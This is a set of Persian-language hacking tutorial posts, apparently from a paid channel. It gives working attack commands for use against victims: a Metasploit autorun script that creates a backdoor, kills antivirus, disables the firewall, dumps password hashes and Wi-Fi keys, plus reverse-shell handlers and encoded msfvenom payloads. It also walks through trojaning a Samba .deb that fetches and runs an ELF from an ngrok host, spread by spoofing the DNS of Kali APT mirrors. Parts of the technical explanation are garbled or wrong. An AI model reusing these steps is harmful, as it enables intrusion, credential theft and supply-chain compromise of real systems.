:warning: نکته: موارد ذکر شده در نقشه راه های قبلی زیرمجموع ایتم های این نقشه راه میباشد و با بررسی زیرمجموع ها,در سرفصل های این نقشه راه ایتم های قدیمی هم دیده خواهد شد,

:anger:برای شروع یادگیری مباحث #Roadmap میتوانید به کانال های خصوصی ما وارد و مطالب مربوط به #Roadmap را جستجو و یادگیری دانش سایبری را بصورت اصولی با هزینه ناچیز آغاز کنید برای اینکار میتوانید به ربات زیر مراجعه و درخواست عضویت کنید هزینه عضویت ۱۰۰ هزار تومان میباشد.

#Post Exploitation Windows
در این پست حرکاتی که بعد از دسترسی میتوان انجام داد رو تشریح میکنیم و بررسی میکنیم که تا کجا امکان مانور با فریمورک متاسپلویت وجود داره تا اطلاعات بیشتری رو بدست آوریم.

ت کمی صحبت کنیم اما نکته ای که وجود داره همه کارشناسان امنیتی به این موضوع اذعان دارند که فریمورک Metasploit به عنوان یک C&C بسیار قوی میتونه عملیات های خوبی رو بعد از نفوذ انجام بده اما یک مشکل بزرگ برای این فریمورک خوب اینه که بخاطر خوب بودن و در دسترس عموم قرار گرفتن نمیتونه در برابر قربانیان سطح بالا کار آمد عمل کنه چرا که این قربانیان از مکانیزم های Detections نرم افزاری و سخت افزاری برخوردار هستند که خب این دیوایس ها بسیار مسلط بر اکسپلویت های Post Exploitation ها یا Payload ها هستند مثلا شما اگر بتونید شلکدی رو از متاسپلویت ساخته باشید و با تکنیک های Obfuscation و یا Section Encryption و Pack کردن پایلودی که در ساختار یک فایل فرمت PE قرار داره بتونید آنتی ویروس هارو دور بزنید و دسترسی حاصل بشه باز امکان شناسایی دسترسی شما امکان پذیر هست چطور؟ اگر شما از Post Exploitation های رایجی که در متاسپلویت موجوده استفاده کنید آنتی ویروس ها دسترسی شمارو شناسایی میکنند اگر بخواهیم بصورت ریشه ای به این موضوع بپردازیم باید این نکته رو توجه کنیم که برخی دستوراتی که بر بستر خط فرمان های Command Prompet اجرا میشه بسیار دستورات مشکوک هستند رو رصد خواهند کرد مثلا دستور hashdump که مقادیر فایل Sam رو استخراج میکنند,خب راه حل موجود برای رفع این مسائل میتونید از تکنیک های Obfuscation بر بستر Powershell بسیار میتونه کار آمد باشه,برای ساختن و پیاده سازی یک سناریو برای خوراندن پایلود به قربانی میتونید به این پست مراجعه کنید ######/######/406 حالا ما باید عملیات های Listing و عملیات های بعد از حمله رو پیش میگیریم,

Open terminal
1.touch auto.rc Added

run getgui -u AVI -p 00980098 execute -i -H -f cmd.exe -a “/c net share AVI=c: /grant:everyone,full” reg createkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\ NT\\CurrentVersion\\Image\ File\ Execution\ Options\\OSK.exe -v Debugger -t REG_SZ -d “C:\windows\system32\cmd.exe” pkill msseces.exe run exploit/windows/local/bypassuac TECHNIQUE=PSH run windows/manage/priv_migrate getprivs getsystem hashdump run multi/recon/local_exploit_suggester run windows/gather/checkvm run windows/manage/killav execute -i -H -f cmd.exe -a “/c netsh firewall set opmode mode=disable” execute -i -H -f cmd.exe -a “/c netsh advfirewall set allprofiles state off” execute -i -H -f cmd.exe -a ‘/c wmic product where name=”Microsoft Security Client” call uninstall /nointeractive’ execute -i -H -f cmd.exe -a ‘/c wmic product where name=”Kaspersky Total Security” call uninstall /nointeractive’ execute -i -H -f cmd.exe -a “/c netsh wlan show profiles” execute -i -H -f cmd.exe -a “/c netsh wlan show profile name=* key=clear” background Ctrl+x > y > Enter
2.msfconsole -q -x “use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST (NoIP);set LPORT 5555;set ReverseListenerBindAddress (LAN);set ExitOnSession false;set AutoRunScript auto.rc;set StageEncoder x86/call4_dword_xor;set EnableStageEncoding true;exploit -j” حالا میریم با هم بررسی کنیم این ایتم ها چیکار میکنند از ایتم اول برای باز کردن سرویس RDP و ساختن یک کاربر برای استفاده از این سرویس گزینه بعدی برای Share کردن درایو C قربانی میباشد گزینه بعد برای ساختن یک بکدور هستش به این صورت که شما مقدار OSK.exe رو با مقدار Cmd عوض میکنید در نتیجه زمانی که RDP شدید به سیستم قربانی با فشردن گزینه فکر میکنم Virtual Keyboard برای شما Cmd باز خواهد شد گزینه بعد برای بستن برنامه Windows Defender میباشد گزینه بعد برای دور زدن مکانیزم UAC در صورت روشن بودن هست گزینه بعد برای Migrate کردن پروسس دسترسی هکر به یک پروسس سطح SYSTEM/NT با این کار دسترسی Thread Session هکر هم بالاتر میره و اما گزینه بعد برای باز شدن دسترسی ها برای Session هکر رو انجام میده گزینه بعد برای پیدا کردن آسیب پذیری های سیستم عامل هستش گزینه بعد چک میکنه سیستم عامل بر روی VM مجازی هست یا نه ایتم بعد برای Kill کردن پروسس AntiVirus هستش گزینه بعد فایروال Disable میکنه گزینه بعد آنتی ویروس سیستم عامل رو حذف میکنه هم اگر Kaspersky نصب باشه هم ویندوز دیفندر گزینه بعد برای دیدن اسم وای فای ها و ایتم بعد دیدن رمز اون ها هستش و اما آخر سر عملیات های automation که تموم شد برمیگرده روی فرمان meterpreter.
#HTA to SCT bypass App Whitelisting
میخوام تو این پست سرتون رو کمی بندازم تو گیجی عشق کنیم دور هم البته بطوری که بفهمید قراره چیکار کنیم,موضوع این پست…

#Integer Overflow
در این پست به چگونگی رخداد این سبک از آسیب پذیری که همانند نوع های دیگر سر ریز بافر در سناریو شبیه به هم میباشند و روش های اکسپلویت کردن آنها تقریبا یکی میباشد.

برای اینکه ما این آسیب پذیری رو درک کنیم میبایست قبلش کمی به موضوع Data Type ها در خانواده زبان ++C/C بپردازیم و انواع DataType ها و ویژگی های آنها را درک کنیم به چارت زیر نگاه کنید

DataTypes(Default signed)
int # 2 Byte-16/32 Bit (-32767 ~ 32767)/(-2^32 ~ 2^32) Short Int # 16 bit (-32767 ~ 32767) Long Int # 32 Bit (-2^32 ~ 2^32) Float # 32 Bit (A x 10’7) Double # 64 Bit (A x 10’15) Char # 8 Bit Bool # 1 Bit (0 / 1) DataTypes(UnDefault unsigned)
unsigned int # 2 Byte-16/32 Bit (65535)/(2^64) unsigned Short Int # 16 bit (65535) unsigned Long Int # 32 Bit (2^64) unsigned Float # 32 Bit (A x 10’14) unsigned Double # 64 Bit (A x 10’30) unsigned Char # 8 Bit unsigned Bool # 1 Bit (0 / 1) خب اولین ایتم int هستش که همونطور که مقابل DataType ها میبینید مشخصه که 2 Byte حافظه اشغال میکنه که خب دو نوع داده دیگه برای نگه داری اعداد صحیح وجود داره به نام های Short int که 16 bit حافظه میگیره و Long int که 32 bit حافظه اشغال میکنه اما اکثر برنامه نویس ها ترجیح میدن از خود DataType int استفاده کنن چرا که هر دو این نوع های DataType هارو پشتیبانی میکنه اما نکته ای که اینجا وجود داره اینه که DataType Short Int بازه و محدوده ای که پشتیبانی میکنه برای متغیرها از عدد منفی 32767 هستش تا مثبت 32767 همچنین DataType Long Int بازه محدوده من های 2 بتوان 32 تا مثبت 2 بتوان 32 رو پشتیبانی میکنه ,اما بریم سراغ DataType های Foat-Double-Char داده هایی که DataType Foat میگیره که 32 bit از حافظه رو اشغال میکنه و محدوده ای که پشتیبانی میکنه اعداد اعشاری رو تا هفت رقم بعد از اعشار پشتیبانی میکنه اما DataType Double که دقیقا دو برابر مقدار DataType قبلی هستش و 64 bit از حافظه رو اشغال میکنه و تا پانزده رقم بعد از اعشار رو پشتیبانی میکنه خب سر آخر هم بریم سراغ DataType Char که برای کاراکتر های متنی استفاده و 8 bit از حافظه رو اشغال میکنه اما #نکته ای که در اینجا بسیار حائز اهمیت هستش اینه که بصورت پیشفرض این DataType ها بصورت Signed در نظر گرفته میشوند که خب همین موضوع باعث میشه که محدوده DataType ها از مقادیر منهی هم پشتیبانی کنه مثل Short Int که از محدوده مثبت 32767 تا منهی 32767 رو پوشش میده,اما اگر عبارت unsigned رو در پشت تعریف نوع DataType بکار ببریم دیگه اون DataType محدوده منهی رو پشتیبانی نمیکنه و بجاش میاد مقدار عددی محدوده منهی DataType رو به محدوده مثبت خودش اضافه میکنه به عبارت ساده تر با استفاده از عبارت unsigned ما محدوده DataType Short Int رو به مثبت 65535 تبدیل خواهیم کرد اما آخرین DataType که Bool هستش که 1 bit جا میگیره و بصورت پیشفرض مقدار 0 رو داره و بین 0 یا 1 میتونه حالت بگیره همون True False خودمونه دیگه 🙂 اکی حالا بریم سراغ چگونگی رخداد آسیب پذیری ذکر شده

#include “stdafx.h” #include <iostream> using namespace std; int main() { unsigned short b = 65535; b = b + 1; cout << b << endl; return 0; } به کد بالا دقت کنید متغیر b رو داریم از نوع DataType short که بصورت unsigned تعریف شده یعنی الان این متغیر b محدوده 65535 رو پشتیبانی میکنه اما در ادامه میبینید که متغیر b با مقدار 65535 پر شده !!! یعنی تمام محدوده ای که پشتیبانی میکرده تا خرتناق پر شده 🙂 ,حالا با این تفاسیر اگر من یک مقدار دیگه به متغیر b اضافه کنم چه اتفاقی می افته؟! بلی سرریز میکنه میبینید که در ادامه من اومدم و متغیر b رو یه 1 بهش اضافه کردم و باز در ادامه میام مقدار متغیر a رو به cout میدم تا چاپ کنه ببینیم چه مقداری درون متغیر وجود داره قاعدتا باید مقدار عددی 65535 بعلاوه 1 که میشه 65536 باشه دیگه درسته ؟ بعد از کامپایل و اجرای کد با کمال تعجب میبینید که مقدار 0 رو برمیگردونه!!! این به معنی سرریز شدن محدوده متغیر هستش به این میگن Integer Overflow 🙂 که سیستم عاملی مانند اندروید سابقه Exploit-db نشون داده که از این نوع آسیب پذیری زیاد براش بوجود میاد مخصوصا در مفسرهای مربوط به فایل فرمتاش مخصوصا مفسرهای mp4 و audio دیگه بیشتر از این گرا ندم دیگه 🙂

خروجی کد:
0 Press any key to continue . . . https://fa.wikipedia.org/wiki/سرریز_عدد_صحیح
https://www.exploit-db.com/exploits/40436

 

اما یک هکر چطور میتونه به گونه ای کدی بنویسه که سبک کد برای آنتی ویروس ها ناشناس باشه ؟؟ به زبان ساده منظورم مبهم سازی کد یا Obfuscation هستش,خب برای اینکار ما اول باید بصورت کامل زبان برنامه نویسی که میخواهیم بر بستر اون پایلودی رو به اجرا در بیاریم باید بشناسیم یعنی تمام ابعاد اون زبان رو,خب در زبان ++C/C ما مفهومی رو داریم با نام عملگرهای بیتی که همونطور که از اسمش پیداس به این معنیه که این عملگرها میتونند محاسباتی رو بر بستر باینری انجام بدن و مقادیر ورودی متغیر هارو بصورت دو دویی محاسبه کنند به کد زیر دقت کنید

#include “stdafx.h” #include <iostream> using namespace std; int main() { int a = 7; // 7 > Binary [00000111] int b = 5; // 5 > Binary [00000101] int c = a & b; // 00000111 & 00000101 = 00000101 > Decimal [5] cout << c << endl; int s = 7; // 7 > Binary [00000111] int d = 5; // 5 > Binary [00000101] int f = s | d; // 00000111 | 00000101 = 00000111 > Decimal [7] cout << f << endl; int g = 7; // 7 > Binary [00000111] int h = 5; // 5 > Binary [00000101] int j = g ^ h; // 00000111 ^ 00000101 = 00000010 > Decimal [2] cout << j << endl; return 0; } خب در اولین محاسبات متغییر های a و b که در متغیر c انجام میشه عملیات در نظر گرفتن جمع مقدار هر دو متغیر هستش با استفاده از عملگر (&) که البته این جمع یک جمع باینری میباشد که بصورت دو دویی انجام میشود,اگر از نحوه عملکردهای محاسبات دو دویی با خبر باشید متوجه خواهید شد که مثلا همین معادله جمع مقدار دو متغیر به این صورت هستش که اول مقدار متغیر a که با عدد 7 پر شده تبدیل به دو دویی خودش که میشه [00000111] این مقدار و باز در ادامه مقدار متغیر b که با عدد 5 پر شده تبدیل به دو دویی خودش که میشه [00000101] این مقدار که باز در ادامه میبینیم که برنامه میاد و این دو مقدار دو دویی رو با هم با استفاده از عملگر & جمع میزنه اما معادله دو دوییش به چه صورت هست ?! در معادلات دو دویی برای عملگر & قانون اول اینه که اجزای باینری دو مقدار رو بصورت نظیر به نظیر جمع میکنیم,با قانون زیر

جمع مقدار 0 و 0 عدد 0 بوده همینطور جمع مقدار 0 و 1 هم باز مقدار 0 خواهد بود اما جمع مقدار 1 و 1 مقدار 1 هستش,بنابر این جمع مقدارهای 00000111 & 00000101 برابر مقدار 00000101 خواهد بود که معادل ده دهی اون میشه عدد 5 پس معادله اند بیتی اول ما که درون متغیر C چاپ میشه عدد 5 میباشد,

اما معادله دوم که یک عملگر OR یا یای بیتیست که با یک ورتیکال بار (|) نمایش داده میشه با استفاده از این عملگر فقط در حالتی نتیجه محاسبه باینری قرار میگیره که اجزای نظیر به نظیر معادل بیتی هر دو متغیر دارای عدد 0 باشه در غیر این صورت عدد 1 در نتیجه قرار میگیره که در کد بالا میبینیم که مقدار متغیر s که عدد 7 است و معادل بیتی اون 00000111 و باز مقدار متغیر d که عدد است و معادل بیتی اون 00000101 قرار داره و محاسبه این دو مقدار بیتی با عمگر یای بیتی با اون قانونی که عرض کردم میشه 00000111 | 00000101 برابر مقدار 00000111 خواهد بود که معادل ده دهی اون میشه عدد 7 پس معادله اند بیتی اول ما که درون متغیر f چاپ میشه عدد 7 میشه,یک نکته رو هم عرض کنم که در منطق محاسبه یای بیتی جواب هر معادله جز معادلیه 1برابر 1 مساوی با 1 هستش و غیر از این معادله هر معادلیه دیگه باشه مساوی با 0 خواهد بود.

و اما آخر عملگر بیتی XOR یا یای انحصاری هستش که با علامت کَرت (^) نشون داده میشه این عملگر نتیجه محاسبه 0 و 1 عدد 1 و نتیجه محاسبه 0 و 0 عدد 0 و نتیجه 1 و 1 عدد 0 خواهد بود در نتیجه با استفاده از یای انحصاری نتیجه محاسبه مقدار متغیر g که عدد 7 است و معادل باینری اون 00000111 و در ادامه متغیر h که با مقدار عدد 5 که باینری اون میشه 00000101 هستش که محاسبه این دو مقدار این صورت خواهد شد 00000111 ^ 00000101 که حاصل اون با قوانینی که عرض کردم میشه 00000010 که معادل ده دهی اون میشه 2 که در متغیر j به نمایش در خواهد آمد,

خب با فهمیدن این عملگرها متوجه خواهیم شد که در عملگرهای بیتی پتانسیل این موضوع وجود دارد که ما بتونیم مثلا در پایلودی کاراکترهای تابع ای مانند ()CreateRemoteThread که برای ساختن یک TID برای به اجرا در آوردن یک کانکشن پروسس نیازه رو با معادلات عملگرهای بیتی ترجمه کنیم تا با اینکار کد ما از حالت استاندارد خودش خارج و بصورت غیر معمول باشه و همین موضوع موجب درک نکردن کد برای هوش مصنوعی نرم افزارهای Detection خواهد شد و اونهارو از تحلیل کد باز میداره:) البته این همه عملگرهای بیتی نیست…

خروجی کد

5 7 2 Press any key to continue . . . https://en.wikipedia.org/wiki/Bitwise_operations_in_C

#Recursive Function
نکته ای در کار با تابع های زبان ++C وجود داره که میتونه در بحث کرش دادن نرم افزار های آسیب پذیر یا نرم افزار های دیگه که با دستورات معمول Kill نمی شوند.

مفهوم Recursive Function بیانگر اینه که یک تابع خودش رو فراخوانی کنه و در داخل تعریف تابع کد مربوط به فراخوانی تابع گنجانده شده است,برای درک بهتر مثالی میزنم:

Open terminal
1.nano recursive.cpp Added

#include <iostream> using namespace std; void a(int _x) { cout << _x << endl; _a(_x – 1); } int main() { _a(1); return 0; } Ctrl+x > y > Enter

ما در کد بالا تابعی از نوع void با نام a و با پارامتر ورودی x ایجاد کردیم این تابع با استفاده از دستور cout مقدار متغیر x رو به Command Prompt میفرسته و در ادامه ما خود تابع ()a رو که یک ورودی با نام x درش قرار داره که در نتیجه کل تابع یک بار دیگه فراخوانی میشه و بجای مقدار x یک واحد ازش کم میشه,باز ما در ادامه در تابع ()main تابع ()a رو فراخوانی کردیم و مقدار 1 رو بهش اختصاص دادیم در نتیجه میشه انتظار داشت که دستور خروجی از عدد 1 شروع و بدلیل استفاده از Recursive Function در یک حلقه ی نا متناهی از اون کاسته شده و در Command Prompt به نمایش در بیاد و نکته ای اینجا مهمه اینه که ایجاد این حلقه بدون پایان موجب میشه که برنامه با مشکل رو به رو بشه و کرش کنه,

خب با این تفاسیر ما اگر یک همچین تابعی رو با تکنیک ######/######/240 Return oriented programming به قسمت آسیب پذیر یک برنامه یا سرویس تزریق کنیم میتونیم انتظار داشته باشیم برنامه طی مدت کمی کرش و بسته بشه,تکنیک خوبی برای از کار انداختن سرویس ها و نرم افزارهای مورد هدف ما میتونه باشه اما اینکار رو به چه صورت انجام بدیم؟؟؟ برای اینجا ابتدا باید برنامه مورد هدف رو تست قرار بدیم و بعد پیدا کردن یک آسیب پذیری مبتنی بر حافظه با تکنیک ROP میایم و با استفاده از IDA Pro آدرس تابع ()main برنامه رو پیدا کرده و پرشی به اون تابع تعریف میکنیم و فراخوانی تابع ()a رو تزریق میکنیم و باز در ادامه با استفاده از برنامه Ollydbg میتونید آدرس انتهایی Section .text برنامه رو پیدا و به اونجا پرشی انجام داده و تابع خودمون رو تزریق کنیم و بعد از تزریق Shellcode تبدیل شده تابع Assembly به Hexadecimal این کار رو مانند تزریق Shellcode های RCE انجام بدیم و منتظر باشیم تا برنامه کرش و بسته بشه,توضیحات من زیادی تئوری شد و نیاز به پیاده سازی عملی این موضوع هستش من روند تبدیل تابع به زبان اسمبلی و بعد Hexadecimal رو تشریح میکنیم اما چگونگی استفاده این ROP تولید شده در Exploit ها رو در پست های بعد تشریح خواهم کرد

2.g++ -o recursive.cpp recursive 3.objdump -s recursive Contents of section .text: 1080 31ed4989 d15e4889 e24883e4 f050544c 1.I..^H..H…PTL 1090 8d05ea01 0000488d 0d830100 00488d3d ……H……H.= 10a0 02010000 ff15362f 0000f40f 1f440000 ……6/…..D.. 10b0 488d3d91 2f000048 8d058a2f 00004839 H.=./..H…/..H9 10c0 f8741548 8b050e2f 00004885 c07409ff .t.H…/..H..t.. 10d0 e00f1f80 00000000 c30f1f80 00000000 ……………. بدلیل کم بودن حجم متن پست های تلگرامی کامل نتیجه شو کردن دستور objdump رو نمیزارم,خب کاملا مشخصه که مقادیر Section .text هستش که مربوط به کد های نوشته شده هستش ما مقادیر hex شده رو به صورت ساختار Machine Code درمیاریم که میشه به این صورت

4.nano grep.txt Added

31ed4989d15e4889e24883e4f050544c8d05ea010000488d0d83010000488d3d02010000ff15362f0000f40f1f440000488d3d918d355a2f00004829 ……….. Ctrl+x > y > Enter

5.sed -i ‘s/\(..\)/\\x\1/g’ grep.txt && cat grep.txt \x31\xed\x49\x89\xd1\x5e\x48\x89\xe2\x48\x83\xe4\xf0\x50\x54\x4c\x8d\x05\xea\x01\x00\x00\x48\x8d\x0d\x83\x01\x00\x00\x48\x8d\x3d\x02\x01\x00\x00\xff\x15\x36\x2f\x00\x00\xf4\x0f\x1f\x44\x00\x00\x48\x8d\x3d\x91\x8d\x35\x5a\x2f\x00\x00\x48\x29 ……….. شلکد کرش دادن نرم افزار قربانی آمادس 🙂

https://fa.wikipedia.org/wiki/توابع_بازگشتی

#APT MiTM Package Injection (Linux Attack)
در این پست با تکنیک های مدرن تری در حوضه حملات مرد میانی میخوایم بصورت کاملا عملی بررسی و پیاده سازی کنیم البته این پست فکر میکنم بسیار طولانی بشه اما در عوض به چندین مبحث پرداخته میشه.

خب در قدم اول کمي توضيح ميدم راجب اين سناريو و فضاهايي که در اين حمله ما باهاش درگير خواهيم شد,سناريو ما بر روي سيستم هاي لينوکسي هستش و هدف ما اينه که ما براي قرباني يک آپديت جعلي ارسال کنيم و اگر مکانيزم آپگريد اتوماتيک اگر روشن باشه پايلود ما در غالب Trojan بر بستر فايل فرمت هاي DEB هستش که بصورت پکيج بر روي سيستم عامل لينوکسي نصب خواهد شد و نهايتا موجب دسترسي ميشود,اما نکته اي که قابل توجه هست اينه که ما ميبايست در خصوص روند کارکرد APT يا Advanced Packet Tool بشناسيم و بدونيم چطور مکانيزم APT متوجه ورژن هاي جديد يک برنامه ميشه و alert در دسترس بودن پکيج رو به سيستم عامل ميده و درخواست ميکنه که قرباني پکيج مربوطه رو بروز رساني کنه,

خب اما مکانيزم APT بر بستر چه پروتکلي کار ميکنه و روند بررسي اون تصديق درست بودن Server APT چطور خواهد بود,خب روند کار APT بر بستر پروتکل HTTP/HTTPS هستش که زماني که شما از APT خودتون با دستور apt update ميخوايد که APT ليست جديد آپديت هارو بگيره در واقع شما درخواست و يا Request به Webserver که داراي امضاي GPG هستش رو پيدا ميکنه و با تصديق قرار دادن Signature اون Webserver مجوز شمارو در فايلي با نام meta-data ارسال ميکنه که شما APT شما مطمئن ميشه با يک Server درست و تعريف شده ارتباط داره

خب با اين تفاسير حمله ما چطور ميتونه شکل بگيره؟ اينطور که ما بدليل در اختيار داشتن فايل هاي Release.gpg و InRelease و Packages ميتونيم هويت اون وب سرور رو جعل کنيم که قالبا به اين کار DNS Spoof گفته ميشه رو بر بستر شبکه محلي پياده سازي کنيم و پکيج Trojan خودمون رو بر روي وب سرور خودمون قرار بديم تا زماني که سيستم عامل لينوکسي قرباني خواست بروز رساني کنه با Webserver ما ارتباط بگيره و پکيج ما بره واسه نصب بر روي سيستم قرباني,اما يک نکته من در اين پست روشي براي پياده سازي اين حمله بر بستر شبکه WAN با استفاده از VPN Tunnling هم نشون خواهم داد که باز اين حمله شدني هستش اما نکتش اينه که ما نياز داريم که قرباني ما با استفاده از يک آسيب پذيري بر بستر سرويس هاي خودش يک RCE بخوره و فايل Hosts اون سيستم عامل modify بشه به نفع هکر

اکي پس کار عملياتي کردن سناريو رو اول بر بستر شبکه محلي يا LAN آغاز ميکنيم و در ادامه به سناريو دومي که عرض کردم ميپردازيم اما يک نکته ديگه من اين حمله رو بر روي نسخه Debian کالي لينوکس طرح ريزي کردم که دوستان بتونن اين بلا رو بر سر خودشون بيارن 🙂 ,مرحله اول ما بايد برخي ماژول ها و ابزار هاي مورد نياز رو نصب کنيم بر روي سيستم کالي خودمون در ضمن من براي سيستم خودم يعني سيستم عامل هکر از کلمه کالي1 و براي سيستم عامل قرباني کالي2 استفاده ميکنم

Open terminal
1.apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y;apt-get install -y build-essential ruby-dev libpcap-dev bettercap tor;gem install bettercap;service tor start;service postgresql start;service apache2 start;noip2 در اينجا ما ابزارهارو نصب کرديم

2.proxychains ngrok http 80 Forwarding http://837e11a7.ngrok.io -> localhost:80

Copy (Ngrok-URL)

و باز در اينجا ما يک DNS از سرويس ngrok ميگيريم که طريقه نصبش رو در اين پست آموزش دادم ######/######/156 دامنه ساخته شده رو در نوت پد ذخيره کنيد

Open new tab
3.proxychains apt-get update |DNS-response| ftp.free.fr is 212.27.60.27
0% [Connecting to ftp.free.fr (212.27.60.27)]<><>-OK
Get:1 http://ftp.free.fr/pub/kali kali-rolling InRelease [30.5 kB] Get:2 http://ftp.free.fr/pub/kali kali-rolling/main amd64 Packages [17.0 MB]

در اينجا ما با استفاده از ابزار Proxychains ميتونيم آي پي و اسمه دامنه اي که در Time Zone ما APT براي ما پيشنهاد کرده رو استخراج کنيم و اطلاعات آدرس رو بدست بياريم,اکي ميريم بر روي وب سرور حاصل شده و اين سه فايل رو پيدا و دانلود ميکنيم

Visit & Download (InRelease) > http://ftp.free.fr/pub/kali/dists/kali-rolling/InRelease
Visit & Download (main amd64 Packages) > http://ftp.free.fr/pub/kali/dists/kali-rolling/main/binary-amd64/Packages
4.wget http://ftp.free.fr/pub/kali/dists/kali-rolling/InRelease;wget http://ftp.free.fr/pub/kali/dists/kali-rolling/Release.gpg;wget http://ftp.free.fr/pub/kali/dists/kali-rolling/main/binary-amd64/Packages اما در ادامه ما يک فايل کانفيگ DNS Spoofing براي اسکريپت Bettercap که ما در اين سناريو براي انجام عمليات DNS Spoofing نياز داريم ساخته و به اسکريپت معرفي ميکنيم تا بدونه چه DNS رو براي ما ميخواد بر روي IP ما Spoof کنه

#Ngrok Bypass NAT 🙂
در این پست طریقه دور زدن سیستم محافظتی مودم روتر هارو میزارم البته چیز جدیدی نیست و یک سالی هست که سرویس میده…

5.nano dns.conf Added & Paste (APT DNS)

# Empty lines or lines starting with # will be ignored. # redirect *.google.com to the attacker ip address # local .*google\.com local .*kali\.download local .*ftp.free\.fr local .*http.kali\.org # redirect *.microsoft.com to 10.10.10.10 # 10.10.10.10 .*microsoft\.com Ctrl+x > y > Enter
6.bettercap -T (TAEGET) –dns dns.conf Open new tab

باز در ادامه ما يک new tab ميکنيم و با اسکريپت Bettercap ديگه کاري نداريم ميريم براي پيدا کردن يک Package و برنامه اي مناسب تا بر روي اين Package پايلود خودتون رو Bind کنيم و بر روي وبسرور خودمون بارگزاري کنيم

7.dpkg -l | grep samba ii samba 2:4.9.4+dfsg-2 amd64 SMB/CIFS file, print, and login server for Unix

Search (Name & Version) > Find Package ftp.free.fr/pub/kali/pool/main/s
8.wget http://ftp.free.fr/pub/kali/pool/main/s/samba/samba_4.9.4%2bdfsg-2_amd64.deb;mkdir backdoor && dpkg-deb -R samba_4.9.4+dfsg-2_amd64.deb /root/backdoor && rm samba_4.9.4+dfsg-2_amd64.deb 64Bit
9.msfvenom -a x64 –platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=(NoIP) LPORT=4141 -e x64/xor_dynamic -i 3 -b “\x00” -f elf -o /var/www/html/######.elf

32Bit
9.msfvenom -a x86 –platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=(NoIP) LPORT=4141 -e x86/call4_dword_xor -i 3 -b “\x00” -f elf -o /var/www/html/######.elf اينجا با استفاده از msfvenom يک پايلود Elf ساخته و اون رو هم به وبسرور خودمون ارسال ميکنيم و دقت داشته باشيد که بر حسب معماري پردازشي قرباني که با استفاده از Nmap راحت قابل شناسايي هست رو ميسازيم و پايلود رو Encode هم ميکنيم اکي ميريم اسکريپتي که قراره تزريق بشه به پکيج رو بسازيم که من در اينجا پکيج برنامه samba رو انتخاب کردم و از روي همون وبسرور APT دانلودش کردم

10.nano /root/backdoor/usr/sbin/samba_update Added & Paste (Ngrok-URL)

#!/bin/bash rm /tmp/######.elf wget https://74c8be81.ngrok.io/######.elf -O /tmp/######.elf chmod 700 /tmp/######.elf /tmp/######.elf Ctrl+x > y > Enter

خب در اسکريپت ما اول اگر پايلودي رو در دايرکتوري tmp اگر وجود داشته باشه رو پاک ميکنه و در ادامه از روي دامنه ساخته شده از سرويس Ngrok رو دانلود و در دايرکتوري tmp پست ميکنه و باز در ادامه اون رو به اجرا در مياره

11.chmod +x /root/backdoor/usr/sbin/samba_update;sed -i ‘/dpkg-maintscript-helper rm_conffile \/etc\/init\/smbd.conf/a \crontab -l | { cat; echo “*/5 * * * * /usr/sbin/samba_update “; } | crontab -‘ /root/backdoor/DEBIAN/postinst 12.head backdoor/DEBIAN/control -n 5;sed -i ‘s#Version: 2:4.9.4+dfsg-2#Version: 2:4.9.4+dfsg-3#g’ backdoor/DEBIAN/control;dpkg-deb -b backdoor samba_4.9.4+dfsg-3_amd64.deb Package: samba
Version: 2:4.9.4+dfsg-2
Architecture: amd64
Maintainer: Debian Samba Maintainers <pkg-samba-maint@lists.alioth.debian.org>
Installed-Size: 15960

Copy (Version)

حالا ما ميايم با استفاده از APT نوشته شده برنامه Samba يک سرويس رو براي اون تعريف ميکنيم تا زماني که Package Samba نصب شد اسکريپت مارو به اجرا در بياره و در خط 11 ما پکيج Decompile شده رو Compile ميکنيم که فايل Samba رو برای وبسرور خودمون آماده کنیم,حالا ما نياز داريم که اطلاعاتي رو از خود Package Samaba استخراج کنيم براي ساخت Package و فايل metadata ويرايش شده وبسرور جعلي ما که سيستم عامل لينوکسي قرياني ما زمان بروز رساني APT خودش مطلع ميکنه که Samba ورژن جديد موجوده,البته اینو بگم که ورژن samba زمانی که Compile شد یکی بالاتر رفته یعنی از 2:4.9.4+dfsg-2 به 2:4.9.4+dfsg-3 تغییر داده شده است این موضوع بدلیل این است که ما در جلوتر نیاز داریم که زمانی که وبسرور فیک APT اصلی رو میسازیم باید درج کنیم که نسخه جدیدی برای برنامه samba موجود هست که سیستم قربانی تحریک به بروزرسانی شود

13.apt-cache show samba | grep -B 1 -A 30 “2:4.9.4+dfsg-2” | grep SHA256;apt-cache show samba | grep -B 1 -A 30 “2:4.9.4+dfsg-2” | grep SHA1;apt-cache show samba | grep -B 1 -A 30 “2:4.9.4+dfsg-2” | grep MD5sum;apt-cache show samba | grep -B 1 -A 30 “2:4.9.4+dfsg-2” | grep Filename: SHA256: 4c1c8ef271b2de10abe7549111d73f259f06cc0dd791307d208647b4699a4127
SHA1: 8bb74018fa5d65bc54cd32c4d4638082f39bf96a
MD5sum: 54a2a8c7dfd60be3a1ef3731b9a0795f
Filename: pool/main/s/samba/samba_4.9.4+dfsg-2_amd64.deb

Copy (SHA1)

در ادامه ما با استفاده از ورژن اصلی Samba ميايم و Signature فايل رو بيرون ميکشيم چرا که پکيج Recompile شده ما تغيير Signature ميده و ما بايد اون رو با Signature اصلي فايل DEB خودمون رو به اون Hash ها تغيير بديم دقت داشته باشيد در قسمت “(Version)” ما بايد ورژني که در خط 12 بیرون کشيديم رو بايد بزاريم

14.cat /var/lib/apt/lists/http.kali.org_kali_dists_kali-rolling_main_binary-amd64_Packages | grep -B 20 -A 20 “8bb74018fa5d65bc54cd32c4d4638082f39bf96a” > Packages;echo **ORIGINAL DEB**;cat Packages | grep Version:;cat Packages | grep Size:;cat Packages | grep SHA256:;cat Packages | grep SHA1:;cat Packages | grep MD5sum:; ORIGINAL DEB
Version: 2:4.9.4+dfsg-2
Installed-Size: 15960
Size: 1078604
SHA256: 4c1c8ef271b2de10abe7549111d73f259f06cc0dd791307d208647b4699a4127
SHA1: 8bb74018fa5d65bc54cd32c4d4638082f39bf96a
MD5sum: 54a2a8c7dfd60be3a1ef3731b9a0795f

حالا ما با استفاده از Hash SHA1 که در خط 13 بدست آوردیم میایم و فایل Package خودمون رو برای وب سرور Spoof شده درست میکنیم

